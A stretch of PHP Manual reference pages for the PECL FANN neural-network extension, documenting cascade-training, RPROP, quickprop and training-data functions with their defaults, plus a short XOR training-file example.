There are no user contributed notes for this page.


Returns the number of candidate groups

  • « fann_get_cascade_min_out_epochs
  • fann_get_cascade_num_candidates »
  • PHP Manual
  • Fann Functions
  • Returns the number of candidate groups

fann_get_cascade_num_candidate_groups

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidate_groups — Returns the number of candidate groups

Description

int fann_get_cascade_num_candidate_groups ( resource $ann )

The number of candidate groups is the number of groups of identical candidates which will be used during training.

This number can be used to have more candidates without having to define new parameters for the candidates.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this parameter.

The default number of candidate groups is 2.

Parameters

ann

Neural network resource.

Return Values

The number of candidate groups, or FALSE on error.

See Also

  • fann_set_cascade_num_candidate_groups() - Sets the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of candidates used during training

  • « fann_get_cascade_num_candidate_groups
  • fann_get_cascade_output_change_fraction »
  • PHP Manual
  • Fann Functions
  • Returns the number of candidates used during training

fann_get_cascade_num_candidates

(PECL fann >= 1.0.0)

fann_get_cascade_num_candidates — Returns the number of candidates used during training

Description

int fann_get_cascade_num_candidates ( resource $ann )

The number of candidates used during training (calculated by multiplying
fann_get_cascade_activation_functions_count(),
fann_get_cascade_activation_steepnesses_count() and
fann_get_cascade_num_candidate_groups()).

The actual candidates is defined by the fann_get_cascade_activation_functions() and fann_get_cascade_activation_steepnesses() arrays. These arrays define the activation functions and activation steepnesses used for the candidate neurons. If there are 2 activation functions in the activation function array and 3 steepnesses in the steepness array, then there will be 2x3=6 different candidates which will be trained. These 6 different candidates can be copied into several candidate groups, where the only difference between these groups is the initial weights. If the number of groups is set to 2, then the number of candidate neurons will be 2x3x2=12. The number of candidate groups is defined by fann_set_cascade_num_candidate_groups().

The default number of candidates is 6x4x2 = 48

Parameters

ann

Neural network resource.

Return Values

The number of candidates used during training, or FALSE on error.

See Also

  • fann_get_cascade_activation_functions() - Returns the cascade activation functions
  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses
  • fann_get_cascade_num_candidate_groups() - Returns the number of candidate groups

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade output change fraction

  • « fann_get_cascade_num_candidates
  • fann_get_cascade_output_stagnation_epochs »
  • PHP Manual
  • Fann Functions
  • Returns the cascade output change fraction

fann_get_cascade_output_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_output_change_fraction — Returns the cascade output change fraction

Description

float fann_get_cascade_output_change_fraction ( resource $ann )

The cascade output change fraction is a number between 0 and 1 determining how large a fraction of the fann_get_MSE() value should change within fann_get_cascade_output_stagnation_epochs() during training of the output connections, in order for the training not to stagnate. If the training stagnates, the training of the output connections will be ended and new candidates will be prepared.

It means that if the MSE does not change by a fraction of fann_get_cascade_output_change_fraction() during a period of fann_get_cascade_output_stagnation_epochs(), the training of the output connections is stopped because the training has stagnated.

If the cascade output change fraction is low, the output connections will be trained more and if the fraction is high, they will be trained less.

The default cascade output change fraction is 0.01, which is equalent to a 1% change in MSE.

Parameters

ann

Neural network resource.

Return Values

The cascade output change fraction, or FALSE on error.

See Also

  • fann_set_cascade_output_change_fraction() - Sets the cascade output change fraction
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_cascade_output_stagnation_epochs() - Returns the number of cascade output stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade output stagnation epochs

  • « fann_get_cascade_output_change_fraction
  • fann_get_cascade_weight_multiplier »
  • PHP Manual
  • Fann Functions
  • Returns the number of cascade output stagnation epochs

fann_get_cascade_output_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_output_stagnation_epochs — Returns the number of cascade output stagnation epochs

Description

int fann_get_cascade_output_stagnation_epochs ( resource $ann )

The number of cascade output stagnation epochs determines the number of epochs training is allowed to continue without changing the MSE by a fraction of fann_get_cascade_output_change_fraction().

See more info about this parameter in fann_get_cascade_output_change_fraction().

The default number of cascade output stagnation epochs is 12.

Parameters

ann

Neural network resource.

Return Values

The number of cascade output stagnation epochs, or FALSE on error.

See Also

  • fann_set_cascade_output_stagnation_epochs() - Sets the number of cascade output stagnation epochs
  • fann_get_cascade_output_change_fraction() - Returns the cascade output change fraction

User Contributed Notes

There are no user contributed notes for this page.


Returns the weight multiplier

  • « fann_get_cascade_output_stagnation_epochs
  • fann_get_connection_array »
  • PHP Manual
  • Fann Functions
  • Returns the weight multiplier

fann_get_cascade_weight_multiplier

(PECL fann >= 1.0.0)

fann_get_cascade_weight_multiplier — Returns the weight multiplier

Description

float fann_get_cascade_weight_multiplier ( resource $ann )

The weight multiplier is a parameter which is used to multiply the weights from the candidate neuron before adding the neuron to the neural network. This parameter is usually between 0 and 1, and is used to make the training a bit less aggressive.

The default weight multiplier is 0.4.

Parameters

ann

Neural network resource.

Return Values

The weight multiplier, or FALSE on error.

See Also

  • fann_set_cascade_weight_multiplier() - Sets the weight multiplier

User Contributed Notes

There are no user contributed notes for this page.


Get connections in the network

  • « fann_get_cascade_weight_multiplier
  • fann_get_connection_rate »
  • PHP Manual
  • Fann Functions
  • Get connections in the network

fann_get_connection_array

(PECL fann >= 1.0.0)

fann_get_connection_array — Get connections in the network

Description

array fann_get_connection_array ( resource $ann )

Get connections in the network.

Parameters

ann

Neural network resource.

Return Values

An array of connections in the network

User Contributed Notes

There are no user contributed notes for this page.


Get the connection rate used when the network was created

  • « fann_get_connection_array
  • fann_get_errno »
  • PHP Manual
  • Fann Functions
  • Get the connection rate used when the network was created

fann_get_connection_rate

(PECL fann >= 1.0.0)

fann_get_connection_rate — Get the connection rate used when the network was created

Description

float fann_get_connection_rate ( resource $ann )

Get the connection rate used when the network was created.

Parameters

ann

Neural network resource.

Return Values

The connection rate used when the network was created, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last error number

  • « fann_get_connection_rate
  • fann_get_errstr »
  • PHP Manual
  • Fann Functions
  • Returns the last error number

fann_get_errno

(PECL fann >= 1.0.0)

fann_get_errno — Returns the last error number

Description

int fann_get_errno ( resource $errdat )

Returns the last error number.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

Return Values

The error number, or FALSE on error.

See Also

  • fann_reset_errno() - Resets the last error number
  • fann_get_errstr() - Returns the last errstr

User Contributed Notes

There are no user contributed notes for this page.


Returns the last errstr

  • « fann_get_errno
  • fann_get_layer_array »
  • PHP Manual
  • Fann Functions
  • Returns the last errstr

fann_get_errstr

(PECL fann >= 1.0.0)

fann_get_errstr — Returns the last errstr

Description

string fann_get_errstr ( resource $errdat )

Returns the last errstr.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

Return Values

The last error string, or FALSE on error.

See Also

  • fann_reset_errstr() - Resets the last error string
  • fann_get_errno() - Returns the last error number

User Contributed Notes

There are no user contributed notes for this page.


Get the number of neurons in each layer in the network

  • « fann_get_errstr
  • fann_get_learning_momentum »
  • PHP Manual
  • Fann Functions
  • Get the number of neurons in each layer in the network

fann_get_layer_array

(PECL fann >= 1.0.0)

fann_get_layer_array — Get the number of neurons in each layer in the network

Description

array fann_get_layer_array ( resource $ann )

Get the number of neurons in each layer in the neural network.

Bias is not included so the layers match the fann_create functions.

Parameters

ann

Neural network resource.

Return Values

An array of numbers of neurons in each leayer

User Contributed Notes

There are no user contributed notes for this page.


Returns the learning momentum

  • « fann_get_layer_array
  • fann_get_learning_rate »
  • PHP Manual
  • Fann Functions
  • Returns the learning momentum

fann_get_learning_momentum

(PECL fann >= 1.0.0)

fann_get_learning_momentum — Returns the learning momentum

Description

float fann_get_learning_momentum ( resource $ann )

The learning momentum can be used to speed up FANN_TRAIN_INCREMENTAL training. A too high momentum will however not benefit training. Setting momentum to 0 will be the same as not using the momentum parameter. The recommended value of this parameter is between 0.0 and 1.0.

The default momentum is 0.

Parameters

ann

Neural network resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

The learning momentum, or FALSE on error.

See Also

  • fann_set_learning_momentum() - Sets the learning momentum
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Returns the learning rate

  • « fann_get_learning_momentum
  • fann_get_MSE »
  • PHP Manual
  • Fann Functions
  • Returns the learning rate

fann_get_learning_rate

(PECL fann >= 1.0.0)

fann_get_learning_rate — Returns the learning rate

Description

float fann_get_learning_rate ( resource $ann )

The learning rate is used to determine how aggressive training should be for some of the training algorithms (FANN_TRAIN_INCREMENTAL, FANN_TRAIN_BATCH, FANN_TRAIN_QUICKPROP). Do however note that it is not used in FANN_TRAIN_RPROP.

The default learning rate is 0.7.

Parameters

ann

Neural network resource.

Return Values

The learning rate, or FALSE on error.

See Also

  • fann_set_learning_rate() - Sets the learning rate
  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Reads the mean square error from the network

  • « fann_get_learning_rate
  • fann_get_network_type »
  • PHP Manual
  • Fann Functions
  • Reads the mean square error from the network

fann_get_MSE

(PECL fann >= 1.0.0)

fann_get_MSE — Reads the mean square error from the network

Description

float fann_get_MSE ( resource $ann )

Reads the mean square error from the network.

Reads the mean square error from the network. This value is calculated during training or testing and can therefore sometimes be a bit off if the weights have been changed since the last calculation of the value.

Parameters

ann

Neural network resource.

Return Values

The mean square error, or FALSE on error.

See Also

  • fann_test_data() - Test a set of training data and calculates the MSE for the training data

User Contributed Notes

There are no user contributed notes for this page.


Get the type of neural network it was created as

  • « fann_get_MSE
  • fann_get_num_input »
  • PHP Manual
  • Fann Functions
  • Get the type of neural network it was created as

fann_get_network_type

(PECL fann >= 1.0.0)

fann_get_network_type — Get the type of neural network it was created as

Description

int fann_get_network_type ( resource $ann )

Get the type of neural network it was created as.

Parameters

ann

Neural network resource.

Return Values

Network type constant, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the number of input neurons

  • « fann_get_network_type
  • fann_get_num_layers »
  • PHP Manual
  • Fann Functions
  • Get the number of input neurons

fann_get_num_input

(PECL fann >= 1.0.0)

fann_get_num_input — Get the number of input neurons

Description

int fann_get_num_input ( resource $ann )

Get the number of input neurons.

Parameters

ann

Neural network resource.

Return Values

Number of input neurons, or FALSE on error

User Contributed Notes

There are no user contributed notes for this page.


Get the number of layers in the neural network

  • « fann_get_num_input
  • fann_get_num_output »
  • PHP Manual
  • Fann Functions
  • Get the number of layers in the neural network

fann_get_num_layers

(PECL fann >= 1.0.0)

fann_get_num_layers — Get the number of layers in the neural network

Description

int fann_get_num_layers ( resource $ann )

Get the number of layers in the neural network.

Parameters

ann

Neural network resource.

Return Values

The number of leayers in the neural network, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Get the number of output neurons

  • « fann_get_num_layers
  • fann_get_quickprop_decay »
  • PHP Manual
  • Fann Functions
  • Get the number of output neurons

fann_get_num_output

(PECL fann >= 1.0.0)

fann_get_num_output — Get the number of output neurons

Description

int fann_get_num_output ( resource $ann )

Get the number of output neurons.

Parameters

ann

Neural network resource.

Return Values

Number of output neurons, or FALSE on error

User Contributed Notes

There are no user contributed notes for this page.


Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

  • « fann_get_num_output
  • fann_get_quickprop_mu »
  • PHP Manual
  • Fann Functions
  • Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

fann_get_quickprop_decay

(PECL fann >= 1.0.0)

fann_get_quickprop_decay — Returns the decay which is a factor that weights should decrease in each iteration during quickprop training

Description

float fann_get_quickprop_decay ( resource $ann )

The decay is a small negative valued number which is a factor that the weights should decrease in each iteration during quickprop training. This is used to make sure that the weights do not become too high during training.

The default decay is -0.0001.

Parameters

ann

Neural network resource.

Return Values

The decay, or FALSE on error.

See Also

  • fann_set_quickprop_decay() - Sets the quickprop decay factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the mu factor

  • « fann_get_quickprop_decay
  • fann_get_rprop_decrease_factor »
  • PHP Manual
  • Fann Functions
  • Returns the mu factor

fann_get_quickprop_mu

(PECL fann >= 1.0.0)

fann_get_quickprop_mu — Returns the mu factor

Description

float fann_get_quickprop_mu ( resource $ann )

The mu factor is used to increase and decrease the step-size during quickprop training. The mu factor should always be above 1, since it would otherwise decrease the step-size when it was suppose to increase it.

The default mu factor is 1.75.

Parameters

ann

Neural network resource.

Return Values

The mu factor, or FALSE on error.

See Also

  • fann_set_quickprop_mu() - Sets the quickprop mu factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the increase factor used during RPROP training

  • « fann_get_quickprop_mu
  • fann_get_rprop_delta_max »
  • PHP Manual
  • Fann Functions
  • Returns the increase factor used during RPROP training

fann_get_rprop_decrease_factor

(PECL fann >= 1.0.0)

fann_get_rprop_decrease_factor — Returns the increase factor used during RPROP training

Description

float fann_get_rprop_decrease_factor ( resource $ann )

The decrease factor is a value smaller than 1, which is used to decrease the step-size during RPROP training.

The default decrease factor is 0.5.

Parameters

ann

Neural network resource.

Return Values

The decrease factor, or FALSE on error.

See Also

  • fann_set_rprop_decrease_factor() - Sets the decrease factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum step-size

  • « fann_get_rprop_decrease_factor
  • fann_get_rprop_delta_min »
  • PHP Manual
  • Fann Functions
  • Returns the maximum step-size

fann_get_rprop_delta_max

(PECL fann >= 1.0.0)

fann_get_rprop_delta_max — Returns the maximum step-size

Description

float fann_get_rprop_delta_max ( resource $ann )

The maximum step-size is a positive number determining how large the maximum step-size may be.

The default delta max is 50.0.

Parameters

ann

Neural network resource.

Return Values

The maximum step-size, or FALSE on error.

See Also

  • fann_set_rprop_delta_max() - Sets the maximum step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum step-size

  • « fann_get_rprop_delta_max
  • fann_get_rprop_delta_zero »
  • PHP Manual
  • Fann Functions
  • Returns the minimum step-size

fann_get_rprop_delta_min

(PECL fann >= 1.0.0)

fann_get_rprop_delta_min — Returns the minimum step-size

Description

float fann_get_rprop_delta_min ( resource $ann )

The minimum step-size is a small positive number determining how small the minimum step-size may be.

The default value delta min is 0.0.

Parameters

ann

Neural network resource.

Return Values

The minimum step-size, or FALSE on error.

See Also

  • fann_set_rprop_delta_min() - Sets the minimum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the initial step-size

  • « fann_get_rprop_delta_min
  • fann_get_rprop_increase_factor »
  • PHP Manual
  • Fann Functions
  • Returns the initial step-size

fann_get_rprop_delta_zero

(PECL fann >= 1.0.0)

fann_get_rprop_delta_zero — Returns the initial step-size

Description

ReturnType fann_get_rprop_delta_zero ( resource $ann )

The initial step-size is a positive number determining the initial step size.

The default delta zero is 0.1.

Parameters

ann

Neural network resource.

Return Values

The initial step-size, or FALSE on error.

See Also

  • fann_set_rprop_delta_zero() - Sets the initial step-size
  • fann_get_rprop_delta_min() - Returns the minimum step-size
  • fann_get_rprop_delta_max() - Returns the maximum step-size

User Contributed Notes

There are no user contributed notes for this page.


Returns the increase factor used during RPROP training

  • « fann_get_rprop_delta_zero
  • fann_get_sarprop_step_error_shift »
  • PHP Manual
  • Fann Functions
  • Returns the increase factor used during RPROP training

fann_get_rprop_increase_factor

(PECL fann >= 1.0.0)

fann_get_rprop_increase_factor — Returns the increase factor used during RPROP training

Description

float fann_get_rprop_increase_factor ( resource $ann )

The increase factor is a value larger than 1, which is used to increase the step-size during RPROP training.

The default increase factor is 1.2.

Parameters

ann

Neural network resource.

Return Values

The increase factor, or FALSE on error.

See Also

  • fann_set_rprop_increase_factor() - Sets the increase factor used during RPROP training

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop step error shift

  • « fann_get_rprop_increase_factor
  • fann_get_sarprop_step_error_threshold_factor »
  • PHP Manual
  • Fann Functions
  • Returns the sarprop step error shift

fann_get_sarprop_step_error_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_shift — Returns the sarprop step error shift

Description

float fann_get_sarprop_step_error_shift ( resource $ann )

Returns the sarprop step error shift.

The default step error shift is 1.385.

Parameters

ann

Neural network resource.

Return Values

The sarprop step error shift , or FALSE on error.

See Also

  • fann_set_sarprop_step_error_shift() - Sets the sarprop step error shift

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop step error threshold factor

  • « fann_get_sarprop_step_error_shift
  • fann_get_sarprop_temperature »
  • PHP Manual
  • Fann Functions
  • Returns the sarprop step error threshold factor

fann_get_sarprop_step_error_threshold_factor

(PECL fann >= 1.0.0)

fann_get_sarprop_step_error_threshold_factor — Returns the sarprop step error threshold factor

Description

float fann_get_sarprop_step_error_threshold_factor ( resource $ann )

The sarprop step error threshold factor.

The default factor is 0.1.

Parameters

ann

Neural network resource.

Return Values

The sarprop step error threshold factor, or FALSE on error.

See Also

  • fann_set_sarprop_step_error_threshold_factor() - Sets the sarprop step error threshold factor

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop temperature

  • « fann_get_sarprop_step_error_threshold_factor
  • fann_get_sarprop_weight_decay_shift »
  • PHP Manual
  • Fann Functions
  • Returns the sarprop temperature

fann_get_sarprop_temperature

(PECL fann >= 1.0.0)

fann_get_sarprop_temperature — Returns the sarprop temperature

Description

float fann_get_sarprop_temperature ( resource $ann )

Returns the sarprop temperature.

The default temperature is 0.015.

Parameters

ann

Neural network resource.

Return Values

The sarprop temperature, or FALSE on error.

See Also

  • fann_set_sarprop_temperature() - Sets the sarprop temperature

User Contributed Notes

There are no user contributed notes for this page.


Returns the sarprop weight decay shift

  • « fann_get_sarprop_temperature
  • fann_get_total_connections »
  • PHP Manual
  • Fann Functions
  • Returns the sarprop weight decay shift

fann_get_sarprop_weight_decay_shift

(PECL fann >= 1.0.0)

fann_get_sarprop_weight_decay_shift — Returns the sarprop weight decay shift

Description

float fann_get_sarprop_weight_decay_shift ( resource $ann )

The sarprop weight decay shift.

The default delta max is -6.644.

Parameters

ann

Neural network resource.

Return Values

The sarprop weight decay shift, or FALSE on error.

See Also

  • fann_set_sarprop_weight_decay_shift() - Sets the sarprop weight decay shift

User Contributed Notes

There are no user contributed notes for this page.


Get the total number of connections in the entire network

  • « fann_get_sarprop_weight_decay_shift
  • fann_get_total_neurons »
  • PHP Manual
  • Fann Functions
  • Get the total number of connections in the entire network

fann_get_total_connections

(PECL fann >= 1.0.0)

fann_get_total_connections — Get the total number of connections in the entire network

Description

int fann_get_total_connections ( resource $ann )

Get the total number of connections in the entire network.

Parameters

ann

Neural network resource.

Return Values

Total number of connections in the entire network, or FALSE on error

User Contributed Notes

There are no user contributed notes for this page.


Get the total number of neurons in the entire network

  • « fann_get_total_connections
  • fann_get_train_error_function »
  • PHP Manual
  • Fann Functions
  • Get the total number of neurons in the entire network

fann_get_total_neurons

(PECL fann >= 1.0.0)

fann_get_total_neurons — Get the total number of neurons in the entire network

Description

int fann_get_total_neurons ( resource $ann )

Get the total number of neurons in the entire network. This number does also include the bias neurons, so a 2-4-2 network has 2+4+2 +2(bias) = 10 neurons.

Parameters

ann

Neural network resource.

Return Values

Total number of neurons in the entire network, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the error function used during training

  • « fann_get_total_neurons
  • fann_get_train_stop_function »
  • PHP Manual
  • Fann Functions
  • Returns the error function used during training

fann_get_train_error_function

(PECL fann >= 1.0.0)

fann_get_train_error_function — Returns the error function used during training

Description

int fann_get_train_error_function ( resource $ann )

Returns the error function used during training.

The error functions are described further in error functions constants.

The default error function is FANN_ERRORFUNC_TANH.

Parameters

ann

Neural network resource.

Return Values

The error function constant, or FALSE on error.

See Also

  • fann_set_train_error_function() - Sets the error function used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the stop function used during training

  • « fann_get_train_error_function
  • fann_get_training_algorithm »
  • PHP Manual
  • Fann Functions
  • Returns the stop function used during training

fann_get_train_stop_function

(PECL fann >= 1.0.0)

fann_get_train_stop_function — Returns the stop function used during training

Description

int fann_get_train_stop_function ( resource $ann )

Returns the stop function used during training.

The stop functions are described further in stop functions constants.

The default stop function is FANN_STOPFUNC_MSE.

Parameters

ann

Neural network resource.

Return Values

The stop function constant, or FALSE on error.

See Also

  • fann_set_train_stop_function() - Sets the stop function used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the training algorithm

  • « fann_get_train_stop_function
  • fann_init_weights »
  • PHP Manual
  • Fann Functions
  • Returns the training algorithm

fann_get_training_algorithm

(PECL fann >= 1.0.0)

fann_get_training_algorithm — Returns the training algorithm

Description

int fann_get_training_algorithm ( resource $ann )

Returns the training algorithm. This training algorithm is used by fann_train_on_data() and associated functions.

Note that this algorithm is also used during fann_cascadetrain_on_data(), although only FANN_TRAIN_RPROP and FANN_TRAIN_QUICKPROP is allowed during cascade training.

Parameters

ann

Neural network resource.

Return Values

Training algorithm constant, or FALSE on error.

See Also

  • fann_set_training_algorithm() - Sets the training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Initialize the weights using Widrow + Nguyen’s algorithm

  • « fann_get_training_algorithm
  • fann_length_train_data »
  • PHP Manual
  • Fann Functions
  • Initialize the weights using Widrow + Nguyen’s algorithm

fann_init_weights

(PECL fann >= 1.0.0)

fann_init_weights — Initialize the weights using Widrow + Nguyen’s algorithm

Description

bool fann_init_weights ( resource $ann , resource $train_data )

Initialize the weights using Widrow + Nguyen’s algorithm.

This function behaves similarly to fann_randomize_weights(). It will use the algorithm developed by Derrick Nguyen and Bernard Widrow to set the weights in such a way as to speed up training. This technique is not always successful, and in some cases can be less efficient than a purely random initialization.

The algorithm requires access to the range of the input data (for example largest and smallest input), and therefore accepts a second argument, data, which is the training data that will be used to train the network.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_randomize_weights() - Give each connection a random weight between min_weight and max_weight
  • fann_read_train_from_file() - Reads a file that stores training data

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of training patterns in the train data

  • « fann_init_weights
  • fann_merge_train_data »
  • PHP Manual
  • Fann Functions
  • Returns the number of training patterns in the train data

fann_length_train_data

(PECL fann >= 1.0.0)

fann_length_train_data — Returns the number of training patterns in the train data

Description

int fann_length_train_data ( resource $data )

Returns the number of training patterns in the train data resource.

Parameters

data

Neural network training data resource.

Return Values

Number of elements in the train data resource, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Merges the train data

  • « fann_length_train_data
  • fann_num_input_train_data »
  • PHP Manual
  • Fann Functions
  • Merges the train data

fann_merge_train_data

(PECL fann >= 1.0.0)

fann_merge_train_data — Merges the train data

Description

resource fann_merge_train_data ( resource $data1 , resource $data2 )

Merges the data from data1 and data2 into a new train data resource.

Parameters

data1

Neural network training data resource.

data2

Neural network training data resource.

Return Values

New merged train data resource, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of inputs in each of the training patterns in the train data

  • « fann_merge_train_data
  • fann_num_output_train_data »
  • PHP Manual
  • Fann Functions
  • Returns the number of inputs in each of the training patterns in the train data

fann_num_input_train_data

(PECL fann >= 1.0.0)

fann_num_input_train_data — Returns the number of inputs in each of the training patterns in the train data

Description

int fann_num_input_train_data ( resource $data )

Returns the number of inputs in each of the training patterns in the train data resource.

Parameters

data

Neural network training data resource.

Return Values

The number of inputs, or FALSE on error.

See Also

  • fann_length_train_data() - Returns the number of training patterns in the train data
  • fann_num_output_train_data() - Returns the number of outputs in each of the training patterns in the train data

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of outputs in each of the training patterns in the train data

  • « fann_num_input_train_data
  • fann_print_error »
  • PHP Manual
  • Fann Functions
  • Returns the number of outputs in each of the training patterns in the train data

fann_num_output_train_data

(PECL fann >= 1.0.0)

fann_num_output_train_data — Returns the number of outputs in each of the training patterns in the train data

Description

int fann_num_output_train_data ( resource $data )

Returns the number of outputs in each of the training patterns in the train data resource.

Parameters

data

Neural network training data resource.

Return Values

The number of outputs, or FALSE on error.

See Also

  • fann_length_train_data() - Returns the number of training patterns in the train data
  • fann_num_input_train_data() - Returns the number of inputs in each of the training patterns in the train data

User Contributed Notes

There are no user contributed notes for this page.


Prints the error string

  • « fann_num_output_train_data
  • fann_randomize_weights »
  • PHP Manual
  • Fann Functions
  • Prints the error string

fann_print_error

(PECL fann >= 1.0.0)

fann_print_error — Prints the error string

Description

void fann_print_error ( string $errdat )

Prints the error string.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

Return Values

No value is returned.

See Also

  • fann_get_errstr() - Returns the last errstr

User Contributed Notes

There are no user contributed notes for this page.


Give each connection a random weight between min_weight and max_weight

  • « fann_print_error
  • fann_read_train_from_file »
  • PHP Manual
  • Fann Functions
  • Give each connection a random weight between min_weight and max_weight

fann_randomize_weights

(PECL fann >= 1.0.0)

fann_randomize_weights — Give each connection a random weight between min_weight and max_weight

Description

bool fann_randomize_weights ( resource $ann , float $min_weight , float $max_weight )

Give each connection a random weight between min_weight and max_weight

From the beginning the weights are random between -0.1 and 0.1.

Parameters

ann

Neural network resource.

min_weight

Minimum weight value

max_weight

Maximum weight value

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_init_weights() - Initialize the weights using Widrow + Nguyen’s algorithm

User Contributed Notes

There are no user contributed notes for this page.


Reads a file that stores training data

  • « fann_randomize_weights
  • fann_reset_errno »
  • PHP Manual
  • Fann Functions
  • Reads a file that stores training data

fann_read_train_from_file

(PECL fann >= 1.0.0)

fann_read_train_from_file — Reads a file that stores training data

Description

resource fann_read_train_from_file ( string $filename )

Reads a file that stores training data.

Parameters

filename

The input file in the following format:

num_train_data num_input num_output
inputdata seperated by space
outputdata seperated by space

.
.
.

inputdata seperated by space
outputdata seperated by space

Return Values

Returns a train data resource on success, or FALSE on error.

Examples

Example #1 fann_read_train_from_file() example

<?php
$train_data = fann_read_train_from_file("xor.data");
if ($train_data) {
    // Do something with $train_data for XOR function
}
?>

Contents of xor.data

4 2 1
-1 -1
-1
-1 1
1
1 -1
1
1 1
-1

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

There are no user contributed notes for this page.


Resets the last error number

  • « fann_read_train_from_file
  • fann_reset_errstr »
  • PHP Manual
  • Fann Functions
  • Resets the last error number

fann_reset_errno

(PECL fann >= 1.0.0)

fann_reset_errno — Resets the last error number

Description

void fann_reset_errno ( resource $errdat )

Resets the last error number.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

Return Values

No value is returned.

See Also

  • fann_get_errno() - Returns the last error number
  • fann_reset_errstr() - Resets the last error string

User Contributed Notes

There are no user contributed notes for this page.


Resets the last error string

  • « fann_reset_errno
  • fann_reset_MSE »
  • PHP Manual
  • Fann Functions
  • Resets the last error string

fann_reset_errstr

(PECL fann >= 1.0.0)

fann_reset_errstr — Resets the last error string

Description

void fann_reset_errstr ( resource $errdat )

Resets the last error string.

Parameters

errdat

Either neural network resource or neural network trainining data resource.

Return Values

No value is returned.

See Also

  • fann_get_errstr() - Returns the last errstr
  • fann_reset_errno() - Resets the last error number

User Contributed Notes

There are no user contributed notes for this page.


Resets the mean square error from the network

  • « fann_reset_errstr
  • fann_run »
  • PHP Manual
  • Fann Functions
  • Resets the mean square error from the network

fann_reset_MSE

(PECL fann >= 1.0.0)

fann_reset_MSE — Resets the mean square error from the network

Description

bool fann_reset_MSE ( string $ann )

Resets the mean square error from the network.

This function also resets the number of bits that fail.

Parameters

ann

Neural network resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_bit_fail() - The number of fail bits
  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Will run input through the neural network

  • « fann_reset_MSE
  • fann_save_train »
  • PHP Manual
  • Fann Functions
  • Will run input through the neural network

fann_run

(PECL fann >= 1.0.0)

fann_run — Will run input through the neural network

Description

array fann_run ( resource $ann , array $input )

Will run input through the neural network, returning an array of outputs, the number of which being equal to the number of neurons in the output layer.

Parameters

ann

Neural network resource.

input

Array of input values

Return Values

Array of output values, or FALSE on error

User Contributed Notes

There are no user contributed notes for this page.


Save the training structure to a file

  • « fann_run
  • fann_save »
  • PHP Manual
  • Fann Functions
  • Save the training structure to a file

fann_save_train

(PECL fann >= 1.0.0)

fann_save_train — Save the training structure to a file

Description

bool fann_save_train ( resource $data , string $file_name )

Save the training data to a file, with the format as specified in fann_read_train_from_file().

Parameters

data

Neural network training data resource.

file_name

The file name of the file where training data is saved to.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_read_train_from_file() - Reads a file that stores training data

User Contributed Notes

There are no user contributed notes for this page.


Saves the entire network to a configuration file

  • « fann_save_train
  • fann_scale_input_train_data »
  • PHP Manual
  • Fann Functions
  • Saves the entire network to a configuration file

fann_save

(PECL fann >= 1.0.0)

fann_save — Saves the entire network to a configuration file

Description

bool fann_save ( resource $ann , string $configuration_file )

Saves the entire network to a configuration file.

The configuration file contains all information about the neural network and enables fann_create_from_file() to create an exact copy of the neural network and all of the parameters associated with the neural network.

These three parameters (fann_set_callback(), fann_set_error_log(), fann_set_user_data()) are NOT saved to the file because they cannot safely be ported to a different location. Also temporary parameters generated during training like fann_get_MSE() is not saved.

Parameters

ann

Neural network resource.

configuration_file

The configuration file path.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_create_from_file() - Constructs a backpropagation neural network from a configuration file

User Contributed Notes

There are no user contributed notes for this page.


Scales the inputs in the training data to the specified range

  • « fann_save
  • fann_scale_input »
  • PHP Manual
  • Fann Functions
  • Scales the inputs in the training data to the specified range

fann_scale_input_train_data

(PECL fann >= 1.0.0)

